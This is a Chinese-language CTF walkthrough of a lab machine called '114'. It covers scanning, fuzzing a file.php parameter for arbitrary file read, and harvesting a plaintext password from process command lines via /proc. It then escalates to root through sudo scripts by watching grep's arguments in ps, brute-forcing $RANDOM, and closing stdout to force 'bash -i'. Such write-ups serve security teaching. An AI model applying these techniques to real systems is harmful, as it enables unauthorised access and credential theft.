信息收集

主机发现

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:6f:75:99, IPv4: 192.168.56.247
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:13       (Unknown: locally administered)
192.168.56.100  08:00:27:39:77:83       PCS Systemtechnik GmbH
192.168.56.172  08:00:27:36:a5:a8       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.261 seconds (113.22 hosts/sec). 3
responded
```

端口扫描

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# nmap -p- 192.168.56.172
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-20 17:50 CST
Nmap scan report for 192.168.56.172 (192.168.56.172)
Host is up (0.00086s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:36:A5:A8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
```

Web -- 80

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# curl 192.168.56.172
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome</title>
    <style>
        body {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            font-family: Arial, sans-serif;
```

```
        }
        h1 {
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <h1>Welcome to Maze-sec</h1>
    <p>认识的人越多 我就越喜欢狗</p>
</body>
</html>
```

目录枚举

扫出来了个file.php，猜测是文件包含

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# dirsearch -u 192.168.56.172
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3


 (_||| _) (/_(_|| (_| )




Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist
size: 11460

Output File: /root/Desktop/xhh/114/reports/_192.168.56.172/_26-01-20_17-52-
30.txt

Target: http://192.168.56.172/

[17:52:30] Starting:


[17:52:33] 403 -  279B  - /.ht_wsr.txt
[17:52:34] 403 -  279B  - /.htaccess.sample
[17:52:34] 403 -  279B  - /.htaccess.bak1
[17:52:34] 403 -  279B  - /.htaccess.orig
[17:52:34] 403 -  279B  - /.htaccess.save
[17:52:34] 403 -  279B  - /.htaccess_extra
[17:52:34] 403 -  279B  - /.htaccess_sc
[17:52:34] 403 -  279B  - /.htaccessOLD
[17:52:34] 403 -  279B  - /.htaccess_orig
[17:52:34] 403 -  279B  - /.htaccessBAK
[17:52:34] 403 -  279B  - /.htaccessOLD2
[17:52:34] 403 -  279B  - /.htm
```

```
[17:52:34] 403 -  279B  - /.html
[17:52:34] 403 -  279B  - /.htpasswds
[17:52:34] 403 -  279B  - /.htpasswd_test
[17:52:34] 403 -  279B  - /.httr-oauth
[17:52:35] 403 -  279B  - /.php
[17:53:11] 500 -    0B  - /file.php
[17:53:43] 403 -  279B  - /server-status
[17:53:43] 403 -  279B  - /server-status/

Task Completed
```

参数枚举

可以直接猜测参数为file

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-
lowercase.txt -u http://192.168.56.172/file.php?FUZZ=/etc/passwd --hh 0
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.172/file.php?FUZZ=/etc/passwd
Total requests: 38267

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000533:   200        26 L     38 W       1394 Ch     "file"



Total time: 79.95628
Processed Requests: 38267
Filtered Requests: 38266
Requests/sec.: 478.5990
```

/etc/passwd

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# curl 192.168.56.172/file.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

```
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
```

源码分析

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# curl 192.168.56.172/file.php?file=file.php
<?php
// file.php
$file = $_GET['file'];
echo file_get_contents($file);  #这里只是能做到读取文件
?>
```

To welcome

读取进程，看使用有明文密码作为服务启动参数

```
┌──(root㉿xhhui)-[~/Desktop/xhh/114]
└─# python3 bp_pid.py
[+] PID 1:/sbin/init
[+] PID 228:/lib/systemd/systemd-journald
[+] PID 247:/lib/systemd/systemd-udevd
[+] PID 325:/sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf
/var/lib/dhcp/dhclient.enp0s3.leases -I -df
/var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
[+] PID 329:/lib/systemd/systemd-timesyncd
[+] PID 356:/lib/systemd/systemd-timesyncd
[+] PID 358:/usr/sbin/cron -f
[+] PID 361:/usr/bin/dbus-daemon --system --address=systemd: --nofork --
nopidfile --systemd-activation --syslog-only
[+] PID 362:service --user welcome --password 6WXqj9Vc2tdXQ3TNOz54 --host
localhost --port 8080 infinity
[+] PID 373:/usr/sbin/rsyslogd -n -iNONE
[+] PID 383:/lib/systemd/systemd-logind
```

```
[+] PID 406:/sbin/agetty -o -p -- \u --noclear tty1 linux
[+] PID 407:sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
[+] PID 414:/usr/sbin/rsyslogd -n -iNONE
[+] PID 415:/usr/sbin/rsyslogd -n -iNONE
[+] PID 416:/usr/sbin/rsyslogd -n -iNONE
[+] PID 425:/usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-
shutdown --wait-for-signal
[+] PID 426:/usr/sbin/apache2 -k start
[+] PID 446:/usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-
shutdown --wait-for-signal
[+] PID 500:/usr/sbin/apache2 -k start
[+] PID 502:/usr/sbin/apache2 -k start
[+] PID 504:/usr/sbin/apache2 -k start
[+] PID 507:/usr/sbin/apache2 -k start
[+] PID 513:/usr/sbin/apache2 -k start
[+] PID 523:/usr/sbin/apache2 -k start
[+] PID 524:/usr/sbin/apache2 -k start
[+] PID 525:/usr/sbin/apache2 -k start
[+] PID 527:/usr/sbin/apache2 -k start
[+] PID 530:/usr/sbin/apache2 -k start
```

获得凭证`welcome:6WXqj9Vc2tdXQ3TNOz54`

To root

常规查看sudo

```
welcome@114:~$ sudo -l
Matching Defaults entries for welcome on 114:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 114:
    (ALL) NOPASSWD: /opt/read.sh
    (ALL) NOPASSWD: /opt/short.sh
```

读取脚本内容

```
welcome@114:~$ cat /opt/read.sh && cat /opt/short.sh
#!/bin/bash

echo "Input the flag:"
if head -1 | grep -q "$(< /root/root.txt)"
then
        echo "Y"
else
        echo "N"
fi
#=====================================================
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM
```

```
echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
    echo "Nop";
else
    bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
```

读取flag方案

```
#终端一
welcome@114:~$ sudo /opt/read.sh
Input the flag:
#卡住

#终端二
welcome@114:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       64758  0.0  0.1   8608  4024 pts/0    S+   06:04   0:00 sudo
/opt/read.sh
root       64759  0.1  0.1   6740  3064 pts/0    S+   06:04   0:00 /bin/bash
/opt/read.sh
root       64760  0.0  0.0   5364   496 pts/0    S+   06:04   0:00 head -1
root       64761  0.0  0.0   6320   636 pts/0    S+   06:04   0:00 grep -q
flag{root-c3dbe270140775bb9fc6eaa2559f914f}
welcome    64763  0.0  0.1  11696  3164 pts/1    R+   06:04   0:00 ps aux
```

> **原理**
>
> 在Liunx执行命令前，shell会先进行*变量替换和命令替换*
>
> 从终端二显示的可以看出来：
>
> 1.`$(< /root/root.txt)`的内容先被读取出来了
>
> 2.然后shell将命令重组成`grep -q flag{root-c3dbe270140775bb9fc6eaa2559f914f}`
>
> 3.这个完整的命令会被记录在进程项中，具体路径为`/proc/[PID]/cmdline`
>
> 由于用户未输入加上是管道符连接的两条命令，所以导致grep被卡在进程中

获得shell方案一

```
while true; do sudo /opt/short.sh $RANDOM; done
```

获得shell方案二

> 三个stream流
>
> - stdin(0) 标准输入，描述符为0
> - stdout(1) 标准输出，描述符为1，用&1表示标准输出流
> - stderr(2) 标准错误，描述符为2

```
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
```

`[ A ] && B || C`：C能否执行取决于B是否执行成功，也就是说导致B报错，C就能执行

```
welcome@114:~$ sudo /opt/short.sh '1' >&-
/opt/short.sh: line 6: echo: write error: Bad file descriptor
cat: write error: Bad file descriptor
/opt/short.sh: line 15: echo: write error: Bad file descriptor
root@114:/home/welcome# id >&2
uid=0(root) gid=0(root) groups=0(root)
```

user.txt && root.txt

```
root@114:/home/welcome# cat user.txt >&2
flag{user-210f652e7e3b7e7359e523ef04e96295}
root@114:/home/welcome# cat /root/root.txt >&2
flag{root-c3dbe270140775bb9fc6eaa2559f914f}
```